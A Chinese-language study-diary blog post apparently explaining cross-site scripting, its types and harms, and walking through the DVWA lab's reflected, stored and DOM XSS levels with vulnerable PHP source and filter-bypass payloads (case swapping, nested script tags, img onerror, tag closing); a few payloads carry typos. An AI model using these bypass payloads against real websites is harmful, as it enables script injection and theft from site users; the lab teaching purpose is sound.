Web安全 学习日记7 - XSS(跨站脚本攻击)

何为XSS

  • 跨站脚本攻击XSS(Cross Site Script)
  • 攻击者在web页面插入恶意代码,当用户访问该页面时,恶意代码就会被执行,从而达到攻击用户的目的

XSS存在原因

  • 对 url 或者 提交给 web服务器的内容 没有进行充分过滤

XSS危害

 							|--->窃取cookie
							|--->网络钓鱼
		|------->针对用户-->|--->放马挖矿	
		|					|--->广告刷流量
 XSS----|					
		|					
		|					|--->篡改页面
		|----->针对web服务->|--->传播蠕虫
							|--->内网扫描
							|--->劫持后台
							
 从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,
 只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,
 需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。

XSS分类

  • 反射型XSS(非持久型)
  • 存储型XSS(持久型)
  • DOM型XSS
1、反射型XSS

特点:

  • XSS攻击代码非持久性,也就是没有保存在web服务器中,而是出现在URL地址中
  • 一般是攻击者通过邮件,聊天软件等等方式发送攻击URL,然后用户点击来达到攻击的

流程: 黑客利用社会工程学的方法,让用户点击带有XSS恶意脚本的url,用户点击后访问了正常的服务器,服务器将恶意脚本弹回给了用户浏览器,用户浏览器解析并执行恶意代码,向恶意服务器发起请求,于是黑客便可以获取用户的Cookie等信息。
在这里插入图片描述

2、存储型XSS

特点:

  • XSS攻击代码存储于web服务器数据库中
  • 攻击者一般是通过网站的留言、评论、博客、日志等等功能将攻击代码存储到web服务器上的

流程: 黑客在正常服务器上构造XSS脚本,并存储在正常服务器数据库中,其他用户访问正常服务器下存在恶意脚本的页面时,正常服务器会将恶意脚本弹回给用户浏览器,用户浏览器解析并执行恶意代码,向恶意服务器发起请求,于是黑客便可以获取用户的Cookie等信息。
在这里插入图片描述

3、DOM型XSS

DOM 全称为 文档对象模型(Document Object Model)。这种DOM型与反射型、存储型有着本质的区别,它的攻击代码不需要服务器解析响应,而是依靠的是浏览器端的DOM解析。攻击者利用客户端的JavaScript脚本访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。

XSS的简单绕过WAF

----------------------------------
 1.区分大小写过滤标签:
	  过滤:$name=preg_replace("/<script>/","",$name);      //过滤<script>
			$name=preg_replace("/<\/script>/","",$name);   //过滤</script>
	  绕过:可以使用大小写绕过  <scripT>alert('hack')</scripT>
----------------------------------
 2.不区分大小写过滤标签:/i:不区分大小写
	  过滤:$name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>
			$name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>
	  绕过:可以使用嵌套的script标签绕过:<scr<script>ipt>alert('hack')</scr</script>ipt>
---------------------------------- 
 3.不区分大小写,过滤之间的所有内容:
	  过滤:$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script  及其之间的所有内容
	  绕过:虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件
			或者iframe等标签的 rc注入恶意的js代码。
			<img scr=1 onerror=alert("xss")>
------------------------------------

DVWA 反射型XSS

1、Low

查看源码: 没有做任何防护

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

构造payload:

<script>alert("xss")</script>
2、Medium

查看源码: 使用了 str_replace() 函数,将

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

绕过:

  • 大小写绕过
  • 双写绕过

构造payload:

// payload one
<ScrIpt>alert("xss")</ScrIpt>

// payload two
<sc<script>ript>alert("xss")</script>
3、High

查看源码: 使用了 preg_replace() 函数,将任何模式的 script 都过滤了

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

绕过:

  • 使用其他标签

构造payload:

<img src=1 onerror=alert("xss")>
4、Impossible

查看源码:

  • 使用 checkToken() 验证 token ,防范 CSRF 攻击。
  • 使用 htmlspecialchars() 函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

DVWA 存储型XSS

0、相关函数介绍
htmlspecialchars() 		// 把预定义的字符&、”、 ’、<>转换为 HTML 实体,防止浏览器将其作为HTML元素

trim(string,charlist)	// 移除 string 两侧的空格或其他预定义字符,可选参数charlist支持添加额外需要删除的字符。

mysql_real_escape_string(string,connection)		// 函数会对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)进行转义。

stripslashes(string)	// 删除 string 中的反斜杠
1、Low

查看源码: 虽然使用 trim 去掉空格,使用 stripslashes 去掉反斜杠,使用 mysql_real_escape_string 转义特殊字符,但是这些对我们的 根本不起作用(含的是斜杠,不是反斜杠),所以整个代码没有对 XSS 做任何防护

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );	// 去掉空格
    $name    = trim( $_POST[ 'txtName' ] );		// 去掉空格

    // Sanitize message input
    $message = stripslashes( $message );	// 去掉反斜杠
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	// 特殊字符转义

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	// 特殊字符转义

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

构造payload:

Name = 1
Message = <script>alert("xss")</script>
2、Medium

查看源码:

  • 使用了 htmlspecialchars() 函数,将 $message 中的预定义字符转换为了HTML实体,防止其作为HTML元素
  • 使用了 str_replace() 函数,将 $name 中的
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );			// 将 $message 中的预定义字符转换为HTML实体

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );		// 将 $name 中的 <script> 标签替换为空
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	// 将 $name 中的 <script> 标签替换为空

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

绕过:

  • 这时 $message 不存在XSS漏洞,而 $name 可以绕过,但发现 $name 限制了输入长度,于是可以用 burpsuite 抓包改造 $name
  • 大小写绕过
  • 双写绕过

构造payload:

// payload one
Name = <ScrIpt>alert("xss")</ScrIpt>
Message = 1

// payload two
Name = <sc<script>ript>alert("xss")</script>
Message = 1
3、High

查看源码:

  • 使用了 htmlspecialchars() 函数,将 $message 中的预定义字符转换为了HTML实体,防止其作为HTML元素
  • 使用了 preg_replace() 函数,将任何模式的 script 都过滤了
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );		// 将 $message 中的预定义字符转换为HTML实体

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );		// 将 $name 中任何模式的 script 都过滤
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

绕过:

  • 这时 $message 不存在XSS漏洞,而 $name 可以绕过,但发现 $name 限制了输入长度,于是可以用 burpsuite 抓包改造 $name
  • 使用其他标签绕过

构造payload:

Name = <img scr=0 onerror=alert("xss")>
Message = 1
4、Impossible

查看源码:

  • 使用 checkToken() 验证 token ,防范 CSRF 攻击。
  • 使用 htmlspecialchars() 函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,解决了XSS所以无法注入
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

DVWA DOM型XSS

1、Low

查看源码: 没有做任何防护

<?php

# No protections, anything goes

?> 

构造payload:

<script>alert("xss")</script>
2、Medium
使用stripos对"<script"进行过滤,并且不区分大小写,如果有则置为English
	 1.此时查看源码:
	 <select name="default">
		<option value="" disabled="disabled">----</option>
		<option value="English">English</option>
		<option value="French">French</option>
		<option value="Spanish">Spanish</option>
		<option value="German">German</option>
		<input value="Select" type="submit">
	</script>
	2.输入的值会在value中显示,直接<script>alert("x");</script>被过滤,换用标签
		使用payload:<img src=1 onerror=alert("xss")>
		此时:
			<option value="%3Cimg%20src=1%20οnerrοr=alert(%22xss%22)%3E"></option>
			<option value="" disabled="disabled">----</option>
			<option value="English">English</option>
			<option value="French">French</option>
			<option value="Spanish">Spanish</option>
			<option value="German">German</option>
			</select>
		发现标签未被显示,接着想办法闭合标签<select><select>让我们的payload加载到html
		中能被执行:</option></select><img src=1 onerror=alert("xss")>
		当然也可直接闭合<select>:payload:</select><img src=1 onerror=alert("xss")>

构造payload:

</ select><img src=1 οnerrοr=alert(“xss”)>
3、High
这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的

相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行:

尝试English#< script >alert(“x”);

构造payload:

English#<script>alert("x");
4、Impossible
当我们尝试注入时,我们注入的内容都会经过URL编码显示在输入框,经过URL编码的内容被放在HTML标签中,而没有经过解码。所以不存在注入。

XSS防御

1、对输入的内容进行过滤
2、对输出进行HTML编码
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值